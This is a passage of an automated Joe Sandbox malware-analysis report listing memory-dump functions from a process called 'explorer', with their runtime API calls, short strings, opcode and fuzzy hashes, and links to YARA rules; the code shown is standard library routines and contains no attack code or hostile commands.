csm, xrefs: 0078CA4F
csm, xrefs: 0078CB68
csm, xrefs: 0078CABC

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: b135c5ec20a25f248f16c5be88bdb01c10ee3d0eab062547b530fdcc4377925a
Instruction ID: a77035d774ffcc32e38053b4fdda0c67d2f8a2629a12a08905f5d034d9308c12
Opcode Fuzzy Hash: b135c5ec20a25f248f16c5be88bdb01c10ee3d0eab062547b530fdcc4377925a
Instruction Fuzzy Hash: F3B18F71940209EFCF1AFFA4C9859AEBBB5FF04310F1440AAE9156B212E339D911CBB1

Function 0079AFB7 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0079B258, 0079B25D

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: a4e12a968032e59e890fa0ea62136e15dffa71bb2a50cdd48398f5be2db731a6
Instruction ID: bd7d3c058ab15b365dc8ed794c15acd769023132912d23387685af54a5c4a75f
Opcode Fuzzy Hash: a4e12a968032e59e890fa0ea62136e15dffa71bb2a50cdd48398f5be2db731a6
Instruction Fuzzy Hash: 29C1E174A04209EFDF15DFA8F985BAEBBB1FF4A300F144159E414AB392C7389941CB65

Function 007A09C6 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007A0A34
_free.LIBCMT ref: 007A0A40
_free.LIBCMT ref: 007A0B69
_free.LIBCMT ref: 007A0B74

Strings

@R|, xrefs: 007A09F1

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free
String ID: @R|
API String ID: 269201875-1592088083
Opcode ID: 5b448c6b9a1c06bd41fbb279480fac366e53ca73fa8612b5e304255013712a6f
Instruction ID: 816335c4637bb828d5f9f9795bc615821e740084d03ca911462175bddd90b137
Opcode Fuzzy Hash: 5b448c6b9a1c06bd41fbb279480fac366e53ca73fa8612b5e304255013712a6f
Instruction Fuzzy Hash: 9661C3B1900205DFDF20DF74DD41BAAB7F9AB86710F104A69E945AB281EB74AD40CBA0

Function 00796708 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0079671E

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 0079672A
_free.LIBCMT ref: 00796735
_free.LIBCMT ref: 00796740
_free.LIBCMT ref: 0079674B
_free.LIBCMT ref: 00796756
_free.LIBCMT ref: 00796761
_free.LIBCMT ref: 0079676C
_free.LIBCMT ref: 00796777
_free.LIBCMT ref: 00796785

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 140245f09f769ecd5e53180c92b7647c2267d5b7d93c2c0fb72db2b8c1ff7038
Instruction ID: 417eae8e14cde4109a4f212d0f42e2ca73a4d9a6a413d435af9e787300ccf9e2
Opcode Fuzzy Hash: 140245f09f769ecd5e53180c92b7647c2267d5b7d93c2c0fb72db2b8c1ff7038
Instruction Fuzzy Hash: BB21D4B6914108EFCF06EFA4D985DDE7BB8EF08340F0141A6F505AB121EB35EA54CB90

Function 007A3541 Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007A31FA: CreateFileW.KERNEL32(00000000,00000000,?,007A35EA,?,?,00000000,?,007A35EA,00000000,0000000C), ref: 007A3217

GetLastError.KERNEL32 ref: 007A3655
__dosmaperr.LIBCMT ref: 007A365C
GetFileType.KERNEL32(00000000), ref: 007A3668
GetLastError.KERNEL32 ref: 007A3672
__dosmaperr.LIBCMT ref: 007A367B
CloseHandle.KERNEL32(00000000), ref: 007A369B
CloseHandle.KERNEL32(?), ref: 007A37E8
GetLastError.KERNEL32 ref: 007A381A
__dosmaperr.LIBCMT ref: 007A3821

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 3171ae2f356693a4cfae4bdc860b29b118e60d23e00b1760ea96fc4efd294b33
Instruction ID: d98cfb32c09e46215e45d2f101c84d4a17c6ccaccb8678d9a9286406c2bcc211
Opcode Fuzzy Hash: 3171ae2f356693a4cfae4bdc860b29b118e60d23e00b1760ea96fc4efd294b33
Instruction Fuzzy Hash: E8A11832A141549FCF199F68DC95BAE7BA1AB47320F14425DF801AF3A2DB3C9A12CB51

Function 00788A73 Relevance: 13.6, APIs: 9, Instructions: 139threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00788A9B
GetCurrentThreadId.KERNEL32 ref: 00788AB8
GetCurrentThreadId.KERNEL32 ref: 00788ACD
_xtime_get.LIBCPMT ref: 00788B53
GetCurrentThreadId.KERNEL32 ref: 00788B7D
__Xtime_diff_to_millis2.LIBCPMT ref: 00788B99
_xtime_get.LIBCPMT ref: 00788BBC
GetCurrentThreadId.KERNEL32 ref: 00788BC6
GetCurrentThreadId.KERNEL32 ref: 00788BFD

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: 2a6f6f95c2fa06d52bf69feff58edb323df9f0cd45d560d71854724e13605928
Instruction ID: 593808ae93418d0f6dfa050b6c7b340ed61545775fee0f275eca489858e97491
Opcode Fuzzy Hash: 2a6f6f95c2fa06d52bf69feff58edb323df9f0cd45d560d71854724e13605928
Instruction Fuzzy Hash: 1B51A2B1A40209CFCF54EF18C9C596E7BF5FF48310B54855AE806AB295DB38ED40CBA6

Function 00782460 Relevance: 12.3, APIs: 8, Instructions: 343COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00782527
std::_Rethrow_future_exception.LIBCPMT ref: 00782574
std::_Rethrow_future_exception.LIBCPMT ref: 00782584
__Mtx_unlock.LIBCPMT ref: 0078261B
__Mtx_unlock.LIBCPMT ref: 00782714
__Mtx_unlock.LIBCPMT ref: 00782762
__Cnd_broadcast.LIBCPMT ref: 007827AC
__Mtx_unlock.LIBCPMT ref: 007827B5

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$Cnd_broadcast
String ID:
API String ID: 3990724213-0
Opcode ID: 4e509fa6988ca03280f22059a9f1b04062122a5e04bc814ec050981ee1f920a2
Instruction ID: 74485816d34a2ad11cefb348421912e5ab253e4dffa7dcf8772d76255275366a
Opcode Fuzzy Hash: 4e509fa6988ca03280f22059a9f1b04062122a5e04bc814ec050981ee1f920a2
Instruction Fuzzy Hash: 34B126B1D40609DFDB10EF64C849BAEBBF4FF05311F00456DE91697682EB39A905CBA2

Function 00794F37 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00797E35: HeapAlloc.KERNEL32(00000000,007808E7,?,?,00789ABF,007808E7,?,007830BE,8B18EC84,74DF0F00), ref: 00797E67

_free.LIBCMT ref: 00795046
_free.LIBCMT ref: 0079505D
_free.LIBCMT ref: 0079507A
_free.LIBCMT ref: 00795095
_free.LIBCMT ref: 007950AC

Strings

|={, xrefs: 00794F8A

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$AllocHeap
String ID: |={
API String ID: 1835388192-261466156
Opcode ID: d2b17cead7992f67fff150e5145dcf2f79b0ae9d2d0d44a9fbf43d218bd530c3
Instruction ID: 7ecff086502a0fc564af14bae50f71736be5d217956050cbf7fe031d6a0760f0
Opcode Fuzzy Hash: d2b17cead7992f67fff150e5145dcf2f79b0ae9d2d0d44a9fbf43d218bd530c3
Instruction Fuzzy Hash: 4251AF72A00B05EFDF26DF69EC41B6A77F5EF48720B140569E805D7250E739EA41CB80

Function 007720F0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

list too long, xrefs: 00772589

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: a5245b38a6cae8331673fca654bc7759d69750e66ac9d5e9a61219855cd542d3
Instruction ID: 8673fe865725f0b812fae9c50a462405a6c70102f8d3eabc162b4d86d0333de0
Opcode Fuzzy Hash: a5245b38a6cae8331673fca654bc7759d69750e66ac9d5e9a61219855cd542d3
Instruction Fuzzy Hash: 905194B0D44719EBDB20DF64CC49B99F7B4FF04310F1082A9E91C97281DB78AA81CB96

Function 0078C4E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0078C517
___except_validate_context_record.LIBVCRUNTIME ref: 0078C51F
_ValidateLocalCookies.LIBCMT ref: 0078C5A8
__IsNonwritableInCurrentImage.LIBCMT ref: 0078C5D3
_ValidateLocalCookies.LIBCMT ref: 0078C628

Strings

csm, xrefs: 0078C5BD

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d5d320f8f21e27bb2d12b300061f2c5799df903e663dc723087dcc0c303407d1
Instruction ID: 24dd53b5ff1f62b6f8783f1bbb11c89a7633aaebcce80e28acb7e8830452dfce
Opcode Fuzzy Hash: d5d320f8f21e27bb2d12b300061f2c5799df903e663dc723087dcc0c303407d1
Instruction Fuzzy Hash: 6D410674A40208DBCF11EF69CC45AAEBBB5EF45324F248155E8186B392D739EE51CFA0

Function 007980D5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00798140
api-ms-, xrefs: 0079812C

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 7c7660960f62f57a3af61aa11de1700ddb1d3148b544555487e084ab25ea2e75
Instruction ID: 96a811caa1ea7b392b9c66b02ade69a3497a66b4dcd7893a2d01fa7c45a36271
Opcode Fuzzy Hash: 7c7660960f62f57a3af61aa11de1700ddb1d3148b544555487e084ab25ea2e75
Instruction Fuzzy Hash: 9921BB72E81729BBCFA15B24BC89F5B3764AF02760F250618ED15A7291DF3CDD0286D2

Function 007A0E88 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007A0BD4: _free.LIBCMT ref: 007A0BF9

_free.LIBCMT ref: 007A0ED6

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 007A0EE1
_free.LIBCMT ref: 007A0EEC
_free.LIBCMT ref: 007A0F40
_free.LIBCMT ref: 007A0F4B
_free.LIBCMT ref: 007A0F56
_free.LIBCMT ref: 007A0F61

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 754e41f7b128c0b27d83c6c6f545dee9b963ccc8453acbe9e150d344b889af71
Instruction ID: a37f64e98f95ceb71d6fd291f46c847e6c80a0f4d179daff85939766d41db878
Opcode Fuzzy Hash: 754e41f7b128c0b27d83c6c6f545dee9b963ccc8453acbe9e150d344b889af71
Instruction Fuzzy Hash: C611FCB1945B04EBDA31BBB0CD0AFCBB7AC9F46705F404D15B2AAB6052DB7DA50487A0

Function 007971BF Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 00797207
__fassign.LIBCMT ref: 007973EC
__fassign.LIBCMT ref: 00797409
WriteFile.KERNEL32(?,8B18EC83,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00797451
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00797491
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00797539

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: dde52a83fd7814d55b715134748a5acca07e5d21d351cf638ddc6ccea241ddca
Instruction ID: 68711251380a50575b91445eb8d2c1a7d2d8ef3fa8bbcb18ca473a986d4fa5a0
Opcode Fuzzy Hash: dde52a83fd7814d55b715134748a5acca07e5d21d351cf638ddc6ccea241ddca
Instruction Fuzzy Hash: A0C19E71D04298DFCF14CFA8D8849EDBBB5AF08314F28816AE855FB352D6359D42CB60

Function 007939C1 Relevance: 9.2, APIs: 6, Instructions: 221COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00793A51
_free.LIBCMT ref: 00793A6C
_free.LIBCMT ref: 00793A77
_free.LIBCMT ref: 00793B84

Part of subcall function 0079A21A: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007969C2,00000001,00000364,00000006,000000FF,?,?,00789ABF,007808E7,?,007830BE,8B18EC84), ref: 0079A25B

_free.LIBCMT ref: 00793B59

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 00793B7A

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$Heap$AllocateErrorFreeLast
String ID:
API String ID: 4150789928-0
Opcode ID: f669de0687797ed57ce47df245dffefe7c5252116b9ddced64d738c044e34fab
Instruction ID: 187ba44a2c5ee5c714fca5a08f5a56e0f5f9076c45e84858a1a43bf677ca7091
Opcode Fuzzy Hash: f669de0687797ed57ce47df245dffefe7c5252116b9ddced64d738c044e34fab
Instruction Fuzzy Hash: F4519F76A04200EBDF14DF78B856BBA77B9DF85324F244059F945EB241EA3A9F02C360

Function 007894C6 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0078950F
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0078957A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00789597
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 007895D6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00789635
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00789658

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 29733510d9301dad536363e80435ff992e40b0a400249c3a0d164cd83977cb2a
Instruction ID: 90afe9e9fb15e1ae3d8f31db9b4bcc25859ba5d42a4dedf8e774d83de107b473
Opcode Fuzzy Hash: 29733510d9301dad536363e80435ff992e40b0a400249c3a0d164cd83977cb2a
Instruction Fuzzy Hash: 1D518172640206FBDF21AFA5DC49FBB7BA9EF44750F184225FA05A6190E739CD10CB94

Function 00784470 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007844A5
std::_Lockit::_Lockit.LIBCPMT ref: 007844C7
std::_Lockit::~_Lockit.LIBCPMT ref: 007844E7
__Getctype.LIBCPMT ref: 0078457D
std::_Facet_Register.LIBCPMT ref: 0078459C
std::_Lockit::~_Lockit.LIBCPMT ref: 007845B4

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: c28b54475201330743293b74aa7f4ad2e37756340fddc9580c7538850493fd0a
Instruction ID: 5fbe931d92d3c8f5ebf670ed435e899bfa37cb52b08a2132bad4cb06343369a7
Opcode Fuzzy Hash: c28b54475201330743293b74aa7f4ad2e37756340fddc9580c7538850493fd0a
Instruction Fuzzy Hash: 1141CD71A4021ACFCB25EF54C885BAEB7F4FF44710F14812DE806AB251EB78AE41CB91

Function 0078C6A4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,007AB85D,0078C69B,0078AD34,00787A49,3F07E9DB,?,?,?,00000000,007AC427,000000FF,?,00762576,?,?), ref: 0078C6B2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0078C6C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0078C6D9
SetLastError.KERNEL32(00000000,?,00000000,007AC427,000000FF,?,00762576,?,?,0000000F,00763BA5,00000000,0000000F,00000000,007ABDB0,000000FF), ref: 0078C72B

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

